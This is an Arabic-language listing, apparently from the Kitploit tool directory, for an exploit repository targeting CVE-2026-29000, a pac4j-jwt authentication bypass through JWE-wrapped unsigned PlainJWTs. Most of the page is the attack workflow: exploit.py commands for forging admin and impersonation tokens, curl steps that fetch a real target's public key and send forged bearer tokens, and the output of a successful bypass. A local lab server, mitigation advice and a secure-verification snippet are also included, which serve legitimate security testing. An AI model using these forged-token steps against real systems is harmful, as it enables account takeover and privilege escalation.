Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-29000 — استغلال لثغرة CVE-2026-29000، وهي تجاوز لمصادقة JWT في pac4j-jwt عبر PlainJWT المغلف بـ JWE، مما يسمح بتزوير الرموز وتصعيد الامتيازات. | Kitploit
أدوات/GitHubGitHub/rootx111/cve-2026-29000
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubrootx111/cve-2026-29000

cve-2026-29000

استغلال لثغرة CVE-2026-29000، وهي تجاوز لمصادقة JWT في pac4j-jwt عبر PlainJWT المغلف بـ JWE، مما يسمح بتزوير الرموز وتصعيد الامتيازات.

عرض المستودع
21منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال CVE-2026-29000

تجاوز مصادقة JWT في pac4j-jwt عبر PlainJWT المغلف بـ JWE

وصف الثغرة

CVE-2026-29000 هي ثغرة حرجة في تجاوز المصادقة تؤثر على إصدارات pac4j-jwt الأقدم من 4.5.9 و5.7.9 و6.3.3. تسمح الثغرة للمهاجمين عن بُعد بتزوير رموز المصادقة وتجاوز التحقق من التوقيع.

التفاصيل الفنية

توجد الثغرة في مكوّن JwtAuthenticator عند معالجة رموز JWT المشفرة (JWE). عند استلام رمز JWE:

  1. يقوم الخادم بفك تشفير JWE باستخدام مفتاح RSA الخاص به
  2. يكشف المحتوى المُفكك عن JWT داخلي
  3. الثغرة: يستخرج الخادم الادعاءات من JWT الداخلي دون التحقق من توقيعه
  4. يمكن للمهاجمين إنشاء JWE يغلف PlainJWT (الخوارزمية: "none") مع ادعاءات تعسفية

متطلبات الهجوم

  • الوصول إلى المفتاح العام RSA للخادم (غالبًا ما يكون مكشوفًا عبر نقطة نهاية JWKS)
  • القدرة على إرسال رموز مزورة إلى التطبيق المعرض للخطر

التأثير

  • تجاوز مصادقة كامل: يمكن للمهاجمين المصادقة كأي مستخدم
  • تصعيد الامتيازات: يمكن تعيين أدوار تعسفية بما في ذلك أدوار المسؤول
  • اختطاف الجلسات: يمكن انتحال شخصية مستخدمين شرعيين دون بيانات اعتماد

الإصدارات المتأثرة

  • pac4j-jwt < 4.5.9
  • pac4j-jwt < 5.7.9
  • pac4j-jwt < 6.3.3

محتويات المستودع

  • exploit.py - سكربت استغلال بلغة Python لتوليد رموز خبيثة
  • vulnerable_server.py - خادم تجريبي يحاكي الثغرة
  • requirements.txt - تبعيات Python
  • README.md - هذا الملف

التثبيت

المتطلبات الأساسية

  • Python 3.8 أو أحدث
  • مدير الحزم pip

الإعداد

root@kitploit:~
# استنساخ المستودع
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000

# تثبيت التبعيات
pip3 install -r requirements.txt

الاستخدام

الخطوة 1: تشغيل خادم الاختبار المعرض للخطر

root@kitploit:~
python3 vulnerable_server.py

سيقوم الخادم بما يلي:

  • توليد زوج مفاتيح RSA (محفوظ في server_private.pem وserver_public.pem)
  • البدء على http://127.0.0.1:5000
  • كشف المفتاح العام على http://127.0.0.1:5000/public-key

الخطوة 2: الحصول على المفتاح العام للهدف

في سيناريو هجوم حقيقي، احصل على المفتاح العام من الخادم الهدف:

root@kitploit:~
# تنزيل المفتاح العام من نقطة نهاية JWKS
curl http://target-server.com/jwks > target_jwks.json

# أو نقطة نهاية المفتاح العام المباشرة
curl http://target-server.com/public-key > target_public.pem

بالنسبة لخادم الاختبار:

root@kitploit:~
curl http://127.0.0.1:5000/public-key > server_public.pem

الخطوة 3: توليد رمز خبيث

استخدم سكربت الاستغلال لإنشاء PlainJWT مغلف بـ JWE:

root@kitploit:~
# الاستخدام الأساسي - المصادقة كمسؤول
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem

# المصادقة كمستخدم محدد بأدوار متعددة
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem

# إضافة ادعاءات مخصصة
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","department":"IT"}'

# حفظ الرمز في ملف
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --output malicious_token.txt

الخطوة 4: اختبار الهجوم

الاختبار ضد الخادم المعرض للخطر

root@kitploit:~
# تعيين الرمز الخبيث (انسخ من مخرجات exploit.py)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."

# الوصول إلى نقطة نهاية عامة (يجب أن تعمل)
curl http://127.0.0.1:5000/api/public

# الوصول إلى نقطة نهاية المستخدم بالرمز الخبيث (تجاوز!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# الوصول إلى نقطة نهاية المسؤول بالرمز الخبيث (تصعيد امتيازات!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

المخرجات المتوقعة الناجحة من نقطة نهاية المسؤول:

root@kitploit:~
{
  "status": "success",
  "message": "Admin endpoint accessed - RESTRICTED DATA",
  "user": "admin",
  "roles": ["ROLE_ADMIN"],
  "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
  "admin_info": "This is sensitive administrative data"
}

سير عمل الهجوم الكامل

أوامر الاختبار الكاملة

root@kitploit:~
# 1. تثبيت التبعيات
pip3 install -r requirements.txt

# 2. تشغيل الخادم المعرض للخطر (في الطرفية 1)
python3 vulnerable_server.py

# 3. في طرفية جديدة، احصل على المفتاح العام
curl http://127.0.0.1:5000/public-key > server_public.pem

# 4. توليد رمز مسؤول خبيث
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt

# 5. استخراج الرمز إلى متغير
TOKEN=$(cat token.txt)

# 6. اختبار نقطة النهاية العامة (خط الأساس - لا حاجة لمصادقة)
curl http://127.0.0.1:5000/api/public

# 7. اختبار نقطة نهاية المستخدم (يجب أن تنجح مع رمزنا الخبيث)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 8. اختبار نقطة نهاية المسؤول (نجاح الاستغلال - يجب الوصول إلى البيانات المقيدة)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

# 9. تحقق من أن الاستجابة تحتوي على العلم
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'

سيناريوهات الهجوم المتقدمة

السيناريو 1: انتحال شخصية مستخدم محدد

root@kitploit:~
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem

السيناريو 2: التصعيد إلى مسؤول

root@kitploit:~
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem

السيناريو 3: حقن ادعاءات مخصصة

root@kitploit:~
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'

خيارات سكربت الاستغلال

root@kitploit:~
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
                  [--claims CLAIMS] [--generate-keypair] [--output OUTPUT]

CVE-2026-29000: توليد رموز PlainJWT خبيثة مغلفة بـ JWE

options:
  -h, --help            عرض رسالة المساعدة هذه والخروج
  --subject SUBJECT, -s SUBJECT
                        الموضوع (اسم المستخدم) للانتحال
  --roles ROLES, -r ROLES
                        قائمة الأدوار مفصولة بفواصل (مثل ROLE_ADMIN,ROLE_USER)
  --public-key PUBLIC_KEY, -k PUBLIC_KEY
                        مسار ملف المفتاح العام RSA بصيغة PEM
  --claims CLAIMS, -c CLAIMS
                        ادعاءات إضافية كسلسلة JSON
  --generate-keypair, -g
                        توليد زوج مفاتيح RSA للاختبار وحفظه في ملفات
  --output OUTPUT, -o OUTPUT
                        ملف الإخراج للرمز المولد

كيف تعمل الثغرة

تدفق JWT العادي (آمن)

root@kitploit:~
1. يرسل العميل JWT مع توقيع
2. يتحقق الخادم من التوقيع بالمفتاح العام
3. إذا كان صالحًا، يستخرج الادعاءات
4. يمنح الوصول بناءً على الادعاءات

التدفق المعرض للخطر (CVE-2026-29000)

root@kitploit:~
1. يحصل المهاجم على المفتاح العام RSA للخادم
2. ينشئ المهاجم PlainJWT (alg: none) مع ادعاءات تعسفية
   مثال: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. يشفر المهاجم PlainJWT باستخدام JWE مع المفتاح العام للخادم
4. يفك الخادم تشفير JWE بنجاح
5. يستخرج الخادم الادعاءات من PlainJWT الداخلي دون التحقق من التوقيع
6. يمنح الخادم الوصول بناءً على الادعاءات المزورة

لماذا تعمل

تحدث الثغرة لأن:

  • يوفر JWE السرية، وليس التكامل للمحتوى الداخلي
  • يفترض الخادم أن نجاح فك التشفير يعني الأصالة
  • لا يحتوي PlainJWT (alg: none) على توقيع للتحقق منه
  • تُثق الادعاءات فقط لأنها كانت مشفرة

التخفيف

للمطورين

  1. قم بتحديث pac4j-jwt إلى الإصدار 4.5.9 أو 5.7.9 أو 6.3.3 أو أحدث
  2. تحقق دائمًا من التوقيعات على JWTs الداخلية بعد فك تشفير JWE
  3. ارفض رموز PlainJWT (الخوارزمية: "none")
  4. تحقق من الخوارزمية في رأس JWT مقابل قائمة مسموح بها

لمسؤولي الأنظمة

  1. قم بتحديث التطبيقات المعرضة للخطر فورًا
  2. دقق سجلات المصادقة بحثًا عن نشاط مشبوه
  3. راجع جلسات المستخدمين وألغِ الرموز المشبوهة
  4. فكر في تنفيذ طبقات مصادقة إضافية

التنفيذ الآمن

root@kitploit:~
def verify_jwe_token_secure(token, private_key):
    # 1. فك تشفير JWE
    inner_jwt = decrypt_jwe(token, private_key)

    # 2. تحليل رأس JWT الداخلي
    header = parse_jwt_header(inner_jwt)

    # 3. حرج: تحقق من أن الخوارزمية ليست "none"
    if header.get('alg') == 'none':
        raise SecurityError("PlainJWT غير مسموح به")

    # 4. حرج: تحقق من توقيع JWT الداخلي
    if not verify_jwt_signature(inner_jwt, public_key):
        raise SecurityError("توقيع JWT غير صالح")

    # 5. استخرج الادعاءات فقط بعد التحقق
    return extract_claims(inner_jwt)

قائمة التحقق للاختبار

  • تثبيت التبعيات: pip3 install -r requirements.txt
  • تشغيل الخادم المعرض للخطر: python3 vulnerable_server.py
  • الحصول على المفتاح العام: curl http://127.0.0.1:5000/public-key > server_public.pem
  • توليد رمز خبيث: python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
  • اختبار نقطة النهاية العامة: curl http://127.0.0.1:5000/api/public
  • اختبار نقطة نهاية المستخدم بالرمز: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
  • اختبار نقطة نهاية المسؤول بالرمز: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

دليل البدء السريع

root@kitploit:~
# الإعداد والاختبار في سطر واحد
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

المراجع

  • استشارة CVE-2026-29000
  • استشارة أمان pac4j
  • ورقة الغش لأمان JWT من OWASP
  • RFC 7519 (JSON Web Token)
  • RFC 7516 (JSON Web Encryption)

إخلاء المسؤولية

تُقدم هذه الأداة لأغراض تعليمية واختبار الأمان المصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذه الأداة فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.

الترخيص

رخصة MIT - لأغراض تعليمية فقط

المؤلف

باحث أمني التاريخ: 2026-03-16

تنزيل الأداة
  • التحقق من الحصول على العلم: ابحث عن FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}